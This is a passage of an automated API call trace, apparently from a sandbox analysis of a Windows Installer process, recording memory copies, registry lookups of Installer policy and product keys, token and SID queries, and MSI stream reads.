_Dst=0x3c0a80, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.631] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.631] memcpy (in: _Dst=0x3c0a80, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.631] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d20e, _Size=0xe | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.631] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d220, _Size=0xc | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.631] memcpy (in: _Dst=0x3cba80, _Src=0x33d230, _Size=0xe | out: _Dst=0x3cba80) returned 0x3cba80 [0121.631] memcpy (in: _Dst=0x3c0a80, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.631] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.631] memcpy (in: _Dst=0x3c0a80, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.631] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d284, _Size=0x2 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.631] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.631] memcpy (in: _Dst=0x3c0a80, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.632] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.632] memcpy (in: _Dst=0x3cba80, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x3cba80) returned 0x3cba80 [0121.632] lstrlenW (lpString="TRANSFORMSATSOURCE") returned 18 [0121.632] memcpy (in: _Dst=0x3c0a80, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.632] lstrlenW (lpString="[~~~]") returned 5 [0121.632] lstrlenW (lpString="[~~~]") returned 5 [0121.632] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0121.632] memcpy (in: _Dst=0x3d6b90, _Src=0x33d004, _Size=0x50 | out: _Dst=0x3d6b90) returned 0x3d6b90 [0121.632] memcpy (in: _Dst=0x3c0a80, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.632] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.632] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d078, _Size=0x10 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.632] memcpy (in: _Dst=0x3cba80, _Src=0x33d08c, _Size=0xe | out: _Dst=0x3cba80) returned 0x3cba80 [0121.632] memcpy (in: _Dst=0x3c0a80, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.632] memcpy (in: _Dst=0x2104b20, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0121.632] memcpy (in: _Dst=0x3c0a80, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.632] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.632] memcpy (in: _Dst=0x3c0a80, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.632] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d132, _Size=0x8 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.632] memcpy (in: _Dst=0x3c0a80, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.632] memcpy (in: _Dst=0x2104b20, _Src=0x33d158, _Size=0x26 | out: _Dst=0x2104b20) returned 0x2104b20 [0121.632] memcpy (in: _Dst=0x3c0a80, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.633] memcpy (in: _Dst=0x376420, _Src=0x33d198, _Size=0x34 | out: _Dst=0x376420) returned 0x376420 [0121.633] memcpy (in: _Dst=0x3c0a80, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.633] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.633] memcpy (in: _Dst=0x3c0a80, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.633] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d20e, _Size=0xe | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.633] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d220, _Size=0xc | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.633] memcpy (in: _Dst=0x3cba80, _Src=0x33d230, _Size=0xe | out: _Dst=0x3cba80) returned 0x3cba80 [0121.633] memcpy (in: _Dst=0x3c0a80, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.633] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.633] memcpy (in: _Dst=0x3c0a80, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.633] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d284, _Size=0x2 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.633] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.633] memcpy (in: _Dst=0x3c0a80, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3c0a80) returned 0x3c0a80 [0121.633] memcpy (in: _Dst=0x3cb5d0, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x3cb5d0) returned 0x3cb5d0 [0121.633] memcpy (in: _Dst=0x3cba80, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x3cba80) returned 0x3cba80 [0121.633] lstrlenW (lpString="TRANSFORMSSECURE") returned 16 [0121.634] SetLastError (dwErrCode=0xd) [0121.634] lstrlenW (lpString="TRANSFORMSATSOURCE") returned 18 [0121.634] SetLastError (dwErrCode=0xd) [0121.634] SetLastError (dwErrCode=0xd) [0121.634] SetLastError (dwErrCode=0xd) [0121.634] GetCurrentThreadId () returned 0xf50 [0121.634] GetCurrentThreadId () returned 0xf50 [0121.634] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce940 | out: phkResult=0x10ce940*=0x0) returned 0x2 [0121.634] GetCurrentThreadId () returned 0xf50 [0121.634] GetCurrentThreadId () returned 0xf50 [0121.634] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce6b0, TokenInformationLength=0x58, ReturnLength=0x10ce6a0 | out: TokenInformation=0x10ce6b0, ReturnLength=0x10ce6a0) returned 1 [0121.635] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce790, pSourceSid=0x10ce6c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce790*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.635] ConvertSidToStringSidW (in: Sid=0x10ce790*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce770 | out: StringSid=0x10ce770*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.635] LocalFree (hMem=0x3d5f40) returned 0x0 [0121.635] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce940 | out: phkResult=0x10ce940*=0x0) returned 0x2 [0121.636] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.636] GetCurrentThreadId () returned 0xf50 [0121.636] GetCurrentThreadId () returned 0xf50 [0121.636] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.636] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cde90, TokenInformationLength=0x58, ReturnLength=0x10cde80 | out: TokenInformation=0x10cde90, ReturnLength=0x10cde80) returned 1 [0121.636] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdf70, pSourceSid=0x10cdea0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdf70*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.636] ConvertSidToStringSidW (in: Sid=0x10cdf70*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdf50 | out: StringSid=0x10cdf50*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.636] LocalFree (hMem=0x3d6b80) returned 0x0 [0121.636] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.636] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0121.636] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce390 | out: phkResult=0x10ce390*=0x0) returned 0x2 [0121.636] GetCurrentThreadId () returned 0xf50 [0121.636] GetCurrentThreadId () returned 0xf50 [0121.636] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.637] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cde90, TokenInformationLength=0x58, ReturnLength=0x10cde80 | out: TokenInformation=0x10cde90, ReturnLength=0x10cde80) returned 1 [0121.637] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdf70, pSourceSid=0x10cdea0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdf70*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.637] ConvertSidToStringSidW (in: Sid=0x10cdf70*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdf50 | out: StringSid=0x10cdf50*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.637] LocalFree (hMem=0x3d5f40) returned 0x0 [0121.637] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.637] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0121.637] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce390 | out: phkResult=0x10ce390*=0x0) returned 0x2 [0121.637] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.637] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0121.637] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce390 | out: phkResult=0x10ce390*=0x0) returned 0x2 [0121.637] lstrlenW (lpString="#_PatchCache") returned 12 [0121.639] lstrlenW (lpString="PatchId") returned 7 [0121.639] lstrlenW (lpString="AuthoredPatchId") returned 15 [0121.639] lstrlenW (lpString="PackageName") returned 11 [0121.639] lstrlenW (lpString="SourceList") returned 10 [0121.639] lstrlenW (lpString="EngineCopy") returned 10 [0121.641] lstrlenW (lpString="DownloadedTempCopy") returned 18 [0121.641] lstrlenW (lpString="SourcePath") returned 10 [0121.641] lstrlenW (lpString="OldState") returned 8 [0121.641] lstrlenW (lpString="RegisteredState") returned 15 [0121.641] lstrlenW (lpString="NewState") returned 8 [0121.642] lstrlenW (lpString="RegisterSuperceded") returned 18 [0121.642] lstrlenW (lpString="OldTransforms") returned 13 [0121.642] lstrlenW (lpString="NewTransforms") returned 13 [0121.642] lstrlenW (lpString="OldSequence") returned 11 [0121.642] lstrlenW (lpString="NewSequence") returned 11 [0121.642] lstrlenW (lpString="Attributes") returned 10 [0121.643] lstrlenW (lpString="Storage") returned 7 [0121.643] lstrlenW (lpString="NewVersion") returned 10 [0121.643] lstrlenW (lpString="ArgumentNumber") returned 14 [0121.643] lstrlenW (lpString="IsA30Patch") returned 10 [0121.643] lstrlenW (lpString="InstalledWith3x") returned 15 [0121.644] GlobalLock (hMem=0xf40058) returned 0x2f8e10 [0121.644] lstrlenW (lpString="#_BaselineData") returned 14 [0121.644] memcpy (in: _Dst=0x21dfe40, _Src=0x21dfe34, _Size=0xc | out: _Dst=0x21dfe40) returned 0x21dfe40 [0121.645] GlobalLock (hMem=0xf40068) returned 0x2f9430 [0121.645] lstrlenW (lpString="#_BaselineFile") returned 14 [0121.646] memcpy (in: _Dst=0x21dfd5c, _Src=0x21dfd50, _Size=0xfc | out: _Dst=0x21dfd5c) returned 0x21dfd5c [0121.647] GlobalLock (hMem=0xf40078) returned 0x35a520 [0121.647] lstrlenW (lpString="#_BaselineCost") returned 14 [0121.648] GlobalLock (hMem=0xf40088) returned 0x3bc2a0 [0121.648] lstrlenW (lpString="#_PatchCache") returned 12 [0121.648] lstrlenW (lpString="File") returned 4 [0121.650] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䌏䈯", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce1f0, ppstm=0x0 | out: ppstm=0x0) returned 0x80030002 [0121.651] lstrlenW (lpString="File") returned 4 [0121.651] GlobalLock (hMem=0xf40098) returned 0x3cecb0 [0121.651] lstrlenW (lpString="MsiFileHash") returned 11 [0121.651] lstrlenW (lpString="Component") returned 9 [0121.653] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䒌䓰䑲䑨䠷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce1f0, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0121.653] CExposedStream::Stat () returned 0x0 [0121.653] GlobalLock (hMem=0xf400a8) returned 0x3c2880 [0121.653] CExposedStream::Read () returned 0x0 [0121.653] memcpy (in: _Dst=0x3c2884, _Src=0x35b17c, _Size=0x2 | out: _Dst=0x3c2884) returned 0x3c2884 [0121.653] memcpy (in: _Dst=0x3c2888, _Src=0x35b17e, _Size=0x2 | out: _Dst=0x3c2888) returned 0x3c2888 [0121.653] memcpy (in: _Dst=0x3c288c, _Src=0x35b180, _Size=0x2 | out: _Dst=0x3c288c) returned 0x3c288c [0121.654] memcpy (in: _Dst=0x10ce2c8, _Src=0x35b182, _Size=0x2 | out: _Dst=0x10ce2c8) returned 0x10ce2c8 [0121.654] memcpy (in: _Dst=0x3c2894, _Src=0x35b184, _Size=0x2 | out: _Dst=0x3c2894) returned 0x3c2894 [0121.654] memcpy (in: _Dst=0x3c2898, _Src=0x35b186, _Size=0x2 | out: _Dst=0x3c2898) returned 0x3c2898 [0121.654] CExposedStream::Release () returned 0x0 [0121.655] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.655] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce9b8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce9a8 | out: pSid=0x10ce9a8*=0x3b68d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0121.655] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3b68d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce9a0 | out: IsMember=0x10ce9a0) returned 1 [0121.656] GetCurrentThreadId () returned 0xf50 [0121.656] GetCurrentThreadId () returned 0xf50 [0121.656] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce790 | out: phkResult=0x10ce790*=0x0) returned 0x2 [0121.656] GetCurrentThreadId () returned 0xf50 [0121.656] GetCurrentThreadId () returned 0xf50 [0121.656] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce790 | out: phkResult=0x10ce790*=0x0) returned 0x2 [0121.656] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.656] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce7d8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce7c8 | out: pSid=0x10ce7c8*=0x3b68d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0121.656] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3b68d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce7c0 | out: IsMember=0x10ce7c0) returned 1 [0121.656] GetCurrentThreadId () returned 0xf50 [0121.657] GetCurrentThreadId () returned 0xf50 [0121.657] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce790 | out: phkResult=0x10ce790*=0x0) returned 0x2 [0121.657] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.657] GetCurrentThreadId () returned 0xf50 [0121.657] GetCurrentThreadId () returned 0xf50 [0121.657] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.657] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce2d0, TokenInformationLength=0x58, ReturnLength=0x10ce2c0 | out: TokenInformation=0x10ce2d0, ReturnLength=0x10ce2c0) returned 1 [0121.657] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce3b0, pSourceSid=0x10ce2e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce3b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.657] ConvertSidToStringSidW (in: Sid=0x10ce3b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce390 | out: StringSid=0x10ce390*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.657] LocalFree (hMem=0x3d6b80) returned 0x0 [0121.657] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.657] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0121.657] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce7d0 | out: phkResult=0x10ce7d0*=0x0) returned 0x2 [0121.657] GetCurrentThreadId () returned 0xf50 [0121.657] GetCurrentThreadId () returned 0xf50 [0121.657] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.658] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce2d0, TokenInformationLength=0x58, ReturnLength=0x10ce2c0 | out: TokenInformation=0x10ce2d0, ReturnLength=0x10ce2c0) returned 1 [0121.658] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce3b0, pSourceSid=0x10ce2e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce3b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.658] ConvertSidToStringSidW (in: Sid=0x10ce3b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce390 | out: StringSid=0x10ce390*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.658] LocalFree (hMem=0x3d5f40) returned 0x0 [0121.658] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.658] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0121.658] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce7d0 | out: phkResult=0x10ce7d0*=0x0) returned 0x2 [0121.658] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.658] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0121.658] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce7d0 | out: phkResult=0x10ce7d0*=0x0) returned 0x2 [0121.658] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.658] GetCurrentThreadId () returned 0xf50 [0121.658] GetCurrentThreadId () returned 0xf50 [0121.658] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.659] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce410, TokenInformationLength=0x58, ReturnLength=0x10ce400 | out: TokenInformation=0x10ce410, ReturnLength=0x10ce400) returned 1 [0121.659] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce4f0, pSourceSid=0x10ce420*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce4f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0121.659] ConvertSidToStringSidW (in: Sid=0x10ce4f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce4d0 | out: StringSid=0x10ce4d0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0121.659] LocalFree (hMem=0x3d6b80) returned 0x0 [0121.659] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0121.659] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0121.659] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce910 | out: phkResult=0x10ce910*=0x0) returned 0x2 [0121.659] GetCurrentThreadId () returned 0xf50 [0121.659] GetCurrentThreadId () returned 0xf50 [0121.659] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.659] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce410, TokenInformationLength=0x58, ReturnLength=0x10ce400 | out: TokenInformation=0x10ce410, ReturnLength=0x10ce400) returned 1 [0121.659] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce4f0, pSourceSid=0x10ce420*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), 